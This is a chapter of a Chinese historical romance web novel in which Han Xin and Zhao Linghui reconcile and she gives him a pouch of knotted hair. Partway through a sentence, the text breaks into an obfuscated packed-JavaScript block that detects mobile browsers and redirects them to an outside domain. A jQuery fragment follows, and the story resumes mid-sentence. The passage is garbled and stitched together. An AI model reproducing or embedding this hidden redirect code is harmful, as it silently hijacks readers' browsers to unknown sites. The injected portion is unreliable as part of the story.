走到他面前时,赵令徽面色已经变得坦然,她居高临下地看着他,仿佛被取悦的人是她一样:“我若能取悦你,我们就恩怨两清,你不会再干涉我吗?”
她指的,是辅佐吕雉的事情。
韩信想摇头,他不想跟她恩怨两清。
但赵令徽像下定了某种决心般,扶着他的胳膊,慢慢往下跪了下去。
韩信被她这动作给骇住了,一把提住了她的胳膊,将她提到了自己的腿上,两人面对面地坐着。
韩信不知为什么,气不打一处来,咬牙切齿地看着她:“谁教你的?”
赵令徽不说话,垂眸看他。
“谁教你的?”
韩信重复了一遍。
赵令徽依旧不语。
韩信紧绷的面容有些皲裂,他前世何曾让她受过这样的委屈!?
“你的那些好男宠,好郎君,就是这么伺候你的?”韩信抓着她的胳膊质问,“他们怎么敢?”
“嘶——”赵令徽被他抓疼了,轻轻叫了一声。
韩信立刻减轻了手上的力道,语气也有所缓和,带了恳求:“阿初,告诉我,谁让你这样做过。”
“是不是有人欺辱你了?”
随着沉默的持续,他眼底染上了血红,和实打实的杀意,怎么有人敢欺辱于她!他恨不得将欺辱她的人碎尸万段!
“没有人欺辱我。”赵令徽轻声道。
韩信的情绪一下子落到了平地,眼中的怒意消散殆尽。
“也没有人教我,没有人敢让我那么做。”赵令徽语气淡淡地,面色也没什么变化,“你说,让我取悦你,是你说的。”
韩信哑住了。是了,欺辱她的人,竟然是他。他怎么能因为一时意气,而这么对她呢?他明知道她是意气用事,他也该说几句软话的。
“阿初,我不是……”韩信张口想要解释。
“不是什么?”赵令徽讥笑道,“难道刚才的话,不是你自己说的?是我逼着你说的?”
“对不起,阿初。”韩信将脑袋埋进她颈子里,呼吸深深浅浅地洒在她的肌肤上,“对不起。我怕,我真的怕,我怕我们恩怨两清,从此再无了干系。我怕你忘了我。我气,我气你不信我。”
“以前你是这么取悦我的,我想,你指的也是这样罢。”赵令徽平静地道。
她赌对了,她刚才在赌他的心软和不忍。
他们两个都出于激动的时候,都不能好好说话,那必须有人先服软。赵令徽不想服软。
所以只有让他来服软了。她就采取了最极端的方式,来让他服软。
韩信耳尖悄悄染上了绯红,将脸埋地更深。
“你既然说对不起我,可只是轻飘飘一句话,就想揭过去。我心里还是不舒坦。”赵令徽手指在他后背游走着。
她可不能平白无故就受了委屈。
“那我给你出气。”韩信抬起脸,将脸送到她手边,“我给你处置。”
赵令徽微微扬起手,“啪”地一巴掌打了下去。赵令徽震地手麻了,唇角轻微挑起。
她打地毫不犹豫,心中的委屈也散尽了。
韩信也不管自己的脸,牵起赵令徽的手放在唇边吹了吹:“对不起。”
赵令徽咬了下唇。
过了一会,他把赵令徽揽到了怀里,缓声道:“我舍不得你。我只是想让你信我……是我不好。”
赵令徽眸光微动,手指在他背后有一下没一下地打着圈,心跟着平静下来。她刚才,也意气用事了。
韩信叹口气,缓缓解释道:“你若说,因为长乐宫之事,说不恨,不怨,那是假的。但我恨的,是你为何明明无情,却作有情,骗了我一辈子,而非取了我性命。我没必要骗你的,阿初。我若要报复你,在你来到汉营那一日早就报复了。我不能背叛汉王,所以我的答案跟前世一样,对汉王、对你,都是虽死不易。你要做的事情,我不会阻止。”
真正从他嘴里得知这个答案时,赵令徽百感交集,说不上来心里什么滋味。是她把事情想的太复杂了。原来他真的没想过报复。
“阿初……”
“别叫我阿初。阿初早就死了。”赵令徽侧开脸,冷冷地道。她早就想这么告诉他了,阿初早就死了。
“在我眼中,阿初就是赵令徽,赵令徽就是阿初,是一个人。你若是不喜欢,我就不叫了,那我唤令徽好不好?”
赵令徽缄默着。她现在心乱成了一团,根本理不清自己的情绪,和应该说的话,因此她尽量保持漠然。
“令徽问完了,那该我问问了,你是以什么身份来找我的呢?”韩信不紧不慢地,似乎非要得到一个答案不可。他只是迫切想要在她那里,得到一个名分。朋友也好,上级也罢,这样他才好摆清自己的位置,不再做逾矩的事情。
赵令徽张了张嘴,想说是属下,可觉得那样说自己在欲盖弥彰。想说是朋友,显得自己心虚。
要说是旧情人……
“是心上人。”赵令徽答道,与此同时,她再次抬起眸子,直面他灼热的目光,“我说过,我并非草木,也有情,知冷热。韩信,我喜欢你。”
韩信嗤笑出声:“令徽,你没必要骗我的,真的……”
“不是骗你。”赵令徽握住了他的手,把一个东西往他手里塞,“我说的是实话。你都没有骗我,我也没有必要骗你。我又不骗人……”
赵令徽及时咬住了舌头,嘶,她似乎骗的人还不少。不管是骗她的同僚们,或是骗西楚那群人,还是骗男宠们喜欢他们。
轻咳一声,赵令徽继续道:“我不骗你的,我是真的喜欢你。虽然我自己说不清这喜欢有几分,但我是喜欢你。”
韩信望向放在掌心的东西,靠着极好的目力,辨认出那是是一个荷包,只是针脚粗糙,像是刚学会针线的人做出来的。
韩信又惊又喜又疑。
就着他的手,赵令徽打开了“荷包”,里面放的,是两缕紧系在一起的头发。
结发扣。
“结发同心,恩爱不疑。”
赵令徽说出这句话时,韩信神魂仿佛飘了起来。
结发同心,恩爱不疑。
她说,结发同心,恩爱不疑。
恍惚过后,他又想起来,赵令徽也曾
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16077154|167081||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拿结发扣,哄她的男宠们,说什么结发扣就是夫妻同心,以此来不给他们名分。
她现在又拿这个来哄自己……
想说几句酸话挖苦她,可目光落在荷包粗糙却认真的针脚上和她缠满细布的手指时,什么酸话也说不出口了。
罢了,也许她是真的喜欢他。
也许这一次她没有骗他。
就算是……就算欺骗,也无妨的。他心甘情愿。
看荷包就知道了,她一定花了不少心思,为他吃了不少苦头,他哪里又说的出伤她心的话来呢?
捕捉到他目光中的迟疑,赵令徽以为他是嫌弃她做的丑,心头一阵羞恼,她还没给别人做过物件呢,他还先嫌弃上了,伸手就要夺回来:“爱要不要,不要还给我!”
韩信在她抢之前,眼疾手快地把荷包收进了自己怀里,藏的严严实实:“不给不给,送人东西哪有要回去的道理,你送我了就是我的了。”
赵令徽抢了个空,恼的不行,扑上去扯他衣服抢荷包。
韩信顺势倒在了榻上,被她压在了身下。
撕扯半天,赵令徽荷包没抢回来,倒是把他衣服给扯开了。窘迫至此,赵令徽也不管荷包不荷包了,往他漏出来的胸口乱摸了几下。
韩信躺在榻上,咯咯笑起来。
“你笑什么!”赵令徽骑在他身上,戟指着他,气急败坏地捶他胸口,“不许笑了!”
韩信当真就止住了笑声,凝神认真地看她。
即便是黑漆漆的,赵令徽仍能感受到,身下来自他的,直白灼热的目光里,汹涌的爱意与喜悦。
赵令徽哑住了。
两人谁也没说话。
赵令徽手还按在他胸口上,能明显感受到他胸口的起伏。他面色是沉静的,但起伏是紊乱的。她禁不住又多摸了几把。
她都送他荷包了,她摸几把又能如何。
赵令徽被看他得浑身不自在,移开了脸,要从他身上起来,却被他拽住了手。
她猝不及防地被他带倒,整个人扑在了他身上。
他胸口摸起来不错,撞上去却是石头似的硬,赵令徽被撞地呲牙咧嘴,还没张口骂他,就被他按着脑袋,按在了他锁骨上。
他又笑起来,笑声充满了愉悦。
笑的时候带着胸腔一起震动,赵令徽懵了一会,震地不舒服,挣扎着抽出一只手,捏了他腰一下,表达自己的不满。
似是察觉了她浓浓的不满,韩信停下笑,一手按在她腰上,一手抚在她脑后,一下一下,安抚婴孩般,抚慰赵令徽的情绪。
赵令徽的恼火诡异地被他抚平了,昏昏沉沉间,竟然有了睡意。
就在她要昏睡过去时,她听见了很低的一声:“令徽。真好。”
“我爱你。”他轻声道。
赵令徽一下子清醒过来。
“我信你。”
“这是我见过最好看的荷包。”
“我很喜欢很喜欢,很开心。谢谢你,令徽。”
赵令徽趴在他胸口上,听着他鼓噪的心跳声,唇角微微上挑,却在听到他下一句话时唇角僵住了。